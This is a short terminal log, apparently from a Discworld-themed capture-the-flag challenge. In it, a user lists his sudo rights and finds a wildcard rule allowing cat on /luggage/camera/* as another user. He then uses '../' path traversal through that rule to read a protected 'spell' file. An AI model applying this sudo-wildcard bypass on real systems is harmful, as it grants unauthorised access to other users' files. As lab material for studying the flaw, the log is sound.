octavo_read

output

$ twoflower@discworld:/luggage$ sudo -l
Matching Defaults entries for twoflower on discworld:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User twoflower may run the following commands on discworld:
    (rincewind) /bin/cat /luggage/camera/*
$ twoflower@discworld:/luggage$ sudo -u rincewind cat /luggage/octavo/spell
Sorry, user twoflower is not allowed to execute '/bin/cat /luggage/octavo/spell' as rincewind on discworld.

$ twoflower@discworld:/luggage$ sudo -u rincewind cat /luggage/camera/../octavo/spell
Ashonai. Ebiris. Urshoring. Kvanti. Pythan. N'gurad. Feringomalee.
twoflower@discworld:/luggage$